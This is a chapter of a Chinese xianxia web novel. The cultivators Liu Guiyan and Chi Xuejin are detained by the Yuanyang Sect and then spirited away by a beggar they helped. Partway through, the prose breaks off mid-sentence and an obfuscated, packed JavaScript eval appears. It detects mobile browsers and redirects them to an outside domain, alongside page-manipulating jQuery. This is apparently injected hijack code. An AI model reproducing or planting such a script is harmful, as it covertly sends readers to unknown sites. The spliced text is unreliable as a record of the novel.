14. 第十四章
作品:《仙落》 路边的朴树枝繁叶茂,坠着灯笼似的红果子,一面面绯红凤凰大旗飘在其间,如不仔细辨别,从远处看很容易认为是树木着了火。
南宫浦昭指着最大的一面旗,自豪的跟迟雪尽和柳归烟介绍:“这里就是鸢阳宗地界,这绯红火凤,乃是某位不知名祖先立下的家徽,到了鸢阳宗地界,你们就可以提我。”
柳归烟看着那火凤家徽,忽然有了一种不祥的预感,挑起了半边眉毛:“提你……?”
迟雪尽面色如常,接着问:“可以横着走?”
南宫浦昭神色闪了闪,看向柳归烟:“提我,可以尽快到达鸢阳宗宗门。”
柳归烟顿时兴趣全无:“……哦。”
迟雪尽看着一眼望不到头的平坦大道,转向南宫:“贵宗门在何处?”
南宫狗指着远处一座巍峨大山,正色道:“走过去,再上山,最后半山腰有一块广袤的平坦之地,就是鸢阳宗。”
柳归烟懒得听他废话,提脚打算踹南宫,后者下意识往后一跳躲开,柳归烟质问道:“瞬移符还要多久才能用?”
他们已经走了二十三天了,柳归烟不想继续走下去了。
她看向迟雪尽,迟雪尽也看向南宫浦昭。
南宫狗:……
迟师哥你倒是用符啊!!!
迟雪尽面色坦然,把他的目光照单全收:“南宫师弟,你记得我跟你说过的话吧?”
南宫狗顿时原地凋谢。
是的,在他们那场打斗之中,迟雪尽明确告知他,自己的灵力不稳定。
所以,除了调用天地灵气之外,这位迟师哥轻易不会出手,可是天地自有规矩,不可随意调动,否则恐遭天谴。
而瞬移符需要消耗自身灵力,加之南宫狗修为低,燃符受限;迟师哥修为高,但是灵力不稳,需要用在关键时刻;至于烟师妹……
南宫狗暗自摸了摸鼻尖:他不清楚烟师妹的路数。
烟师妹灵力低修为低,却善于化用天地力量,威力惊人。或许她是修术法的好苗子?还是天资卓越,目前只是一颗璞玉?
南宫浦昭挠挠头,对柳归烟露出讨好的表情:“大概还要七日左右吧。”
以后烟师妹说不定是个大腿呢?先抱着再说。
柳归烟闷闷不乐,柳归烟想耍脾气。
柳归烟四处张望,忽然看到一个人。
说实话,他们走到鸢阳宗地界这一路,就没遇着几个人。
柳归烟朝他喊了一声,那人便看了过来。
南宫疑惑,南宫瞪眼,南宫欲逃。幸而迟雪尽眼疾手快,抓住了打算溜走的南宫浦昭。
而那人显然是有修为的,虽然拄着拐杖,须发皆白,却行动迅速,一双铜铃眼死死盯着迟雪尽手里的人。
“老伯……”柳归烟刚打了个招呼,这位老者便来到了他们面前。
准确来说,是南宫浦昭的面前。
“耶……”南宫狗扯出一抹笑容,伸出去的手立刻被拐棍打落,然后这位老者便一刻不停的敲击着南宫狗的头。
“还敢叫我爷爷?!闯了这么大的祸,一走了之!走就走吧,怎么还回来了?!气死老夫了!!!”
南宫把迟雪尽推到老者面前,委屈巴巴道:“爷爷,我找着金大腿了!”
老者更加愤怒起来,拐棍朝着他腰际便挥了下去:“你就是找着金主,找着孙子都没用!!!”
柳归烟与迟雪尽对视一眼,南宫狗显然有什么内幕瞒着他们了。
老者气鼓鼓打完了南宫浦昭,连推带搡把他们往鸢阳宗地界之外赶去。
“走走走,别再回来了。”
迟雪尽与南宫被老者推了出去,柳归烟夹在二者之间,进退两难。就在柳归烟忍无可忍之际,几个修者从天而降,制止了老者的动作。
来人身着绛红色对襟刺绣单衣,下装裤脚收紧,异常干练活跃,柳归烟看到那刺绣绣的像是鸟儿,便大胆猜测它们是鸢阳宗的门人。
老者朝他们行礼,而这些修者没有理会老者,反而死死盯着南宫浦昭。
其中一人上前攥住南宫的手臂,沉声道:“南宫师侄,跟我走吧。”
南宫狗被大力扯的踉跄一步,伸手抓住了迟雪尽的袖子,两眼泪汪汪,楚楚又可怜:“迟师哥……”
迟雪尽:……
柳归烟:呸,演技真烂!
那人一听,便转头看向迟雪尽,微微皱眉,之后与一旁人耳语几句,迟雪尽跟柳归烟在一旁听得清清楚楚,他说的是:“他俩似乎跟南宫师侄是一伙的,都带回去,好好审审。”
柳归烟怒视南宫狗,后者朝她吐舌头,一副要拉着他们下水的意思。迟雪尽淡然把柳归烟往身边拉了拉,站得仙风道骨,一派正气:“贵宗门可是鸢阳宗?”
这一下倒是唬住了身后的两人,二人一齐看向那位紧紧抓着南宫浦昭手臂的修者。
那位修者朝迟雪尽行礼:“正是。在下鸢阳溟狐,想请诸位去鸢阳宗小叙。”
柳归烟撇撇嘴,死死瞪着南宫浦昭:“什么小叙,这分明是非法拘禁!”
鸢阳溟狐端的一派大义凛然,朝柳归烟行礼:“姑娘,虽不知你们来自何门何派,但是既然来到了鸢阳宗地界,那么鸢阳宗的规矩就是法。”
“你——”
迟雪尽拉过柳归烟,鸢阳溟狐继续道:“鸢阳宗向来开明大度,如果那件事确确实实跟你们无关,那么你们就可以平平安安的离开鸢阳宗。”
鸢阳溟狐生的秀气高挑,声音带着点柔媚,但是却长了一张中性的不施粉黛的脸,身体也如男人一般结实平整。
柳归烟在脑内盘算良久,总算是明白了南宫狗嘴里的可以快速抵达鸢阳宗的办法是什么,她见迟雪尽打算跟他们走,只得开口道:“溟狐姐姐,我们可以瞬移过去吗?”
毕竟鸢阳宗有点远啊!
鸢阳溟狐身边的修者脸色顿时五彩斑斓,各有各的精彩,南宫浦昭则一脸坏笑看着柳归烟。柳归烟心头一跳:坏了,这是个男子?!
鸢阳溟狐上下打量了柳归烟三巡,脸色看不出什么情绪,只是咬了咬下唇,转身冷冷道:“瞬移符不够,走回去吧。”
周围修者顿时蔫头耷脑,柳归烟暗暗咬牙:报复,妥妥的报复!这不男不女的人,连自己的手下都要报复!
几人脚步飞速移动,竟然半日便到了中心的村镇,柳归烟累的大汗淋漓,看到前边一个冷饮摊子,便直接躺倒在地耍赖起来。
“不行了,各位哥哥们,阿烟要死了,阿烟要喝水——”
迟雪尽看向鸢阳溟狐,后者微微点头,迟雪尽拉着柳归烟在一众修者的监视下走向冷饮摊。
在冷饮摊旁边土地上,还蹲着一位乞丐。他嘴唇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15741024|174169||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发白干裂,嘶嘶出气,神色倦怠。迟雪尽看了他一眼,又看看这些修者,开口道:“道友,一起?”
几人面面相觑,纷纷摇头拒绝。柳归烟嗤笑一声:“那溟狐哥哥这么厉害,他让你们往西,你们就不敢往东?”
其中一人努努嘴,跟柳归烟贫起来:“什么溟狐哥哥~恶心死了。她就是个男人婆!这辈子都嫁不出去的男人婆!”
语毕,这人心虚的用余光瞄了一眼鸢阳溟狐,然后转过身神态高傲道:“小妹妹,惹到她,你算是踢到铁板了!”
柳归烟端着冷饮,陷入沉默。
鸢阳溟狐果然是女孩子嘛!
那几人以为讨到了口头上的胜利,目光便沾沾自喜的四处打量。迟雪尽端着两份冷饮,递给了那乞丐一份。
几人见迟雪尽还有心思给乞丐喝的,便走过去一脚踹翻了乞丐手里的冷饮。冷饮撒了乞丐一身,而乞丐依旧木木的,神色没有改变。
迟雪尽要弯腰拾起那残存的冷饮盒子,其中一人把佩剑架在了他脖子上:“不许动,你要干什……”
迟雪尽没有理他,继续弯腰,佩剑割破了他的颈项,一道细细的血迹沿着剑锋边沿滑下,滴入土地,落下一点鲜红。
那人一愣,手微微抖了一下,心道:这人就不怕死吗?怎么明着往剑上撞?
迟雪尽将那碗递给乞丐,声音依旧平和:“大伯,我看您渴极了,喝了吧,天太热了,不然会死的。”
乞丐接过碗,那人还要再次踹翻冷饮,柳归烟蠢蠢欲动,她要杀了这个无情的修者!
只是她还未出手,另一边鸢阳溟狐听到动静,带着南宫浦昭往这边走来,柳归烟悻悻收手。
乞丐快速喝完冷饮,站起来手舞足蹈:“谢谢大爷,谢谢大爷赏赐!哎,那边是鸢阳少爷吧?你们犯事了!诶嘿嘿,一碗凉水,救命之恩,自当涌泉相报——”
柳归烟与迟雪尽脚下凸现一个光圈,那几名修者还在看向鸢阳溟狐,而再回头时,乞丐与柳归烟迟雪尽三人皆消失在原地。
柳归烟临走前听到鸢阳溟狐狠戾的声音:“拦住他们——”
可惜,晚了一步。
在柳归烟他们走后,鸢阳溟狐神色怪异起来。
“你们怎么看的人,竟然让丐帮的人把他们拐跑了?”
几人纷纷跪地,哀声不绝。
“谁知道那是丐帮的人啊?”
“他明明都快死了,哪知道还有灵力带他们走啊?”
“冷饮摊是不是有什么问题?要不我去查查……”
“够了!”鸢阳溟狐神色不定,冷饮摊主缩在一旁瑟瑟发抖,不知道怎么自己的一碗冷饮竟然让三个活生生的人原地消失了。
鸢阳溟狐看着手边被禁锢的南宫浦昭,“先把他送回去,派人留心那两个人的踪迹,丐帮没那么大本事把人送出鸢阳宗地盘之外。等找到了,再‘请’回来审审。”
柳归烟与迟雪尽落地,一旁跟着他们一起出现的乞丐站直了身子,竟也有一丝高深莫测的味道。
二人拱手道谢,乞丐只是弹了弹漏洞的单衣,沙哑的声音传递出一丝笃定:“今日你我有缘。你救了我,我也救你。因果循环,报应不爽。”
柳归烟难得遇见志同道合之人,刚要开口探寻因果之道,却听见迟雪尽焦急的声音:“此为何处?我们有急事要去鸢阳宗。”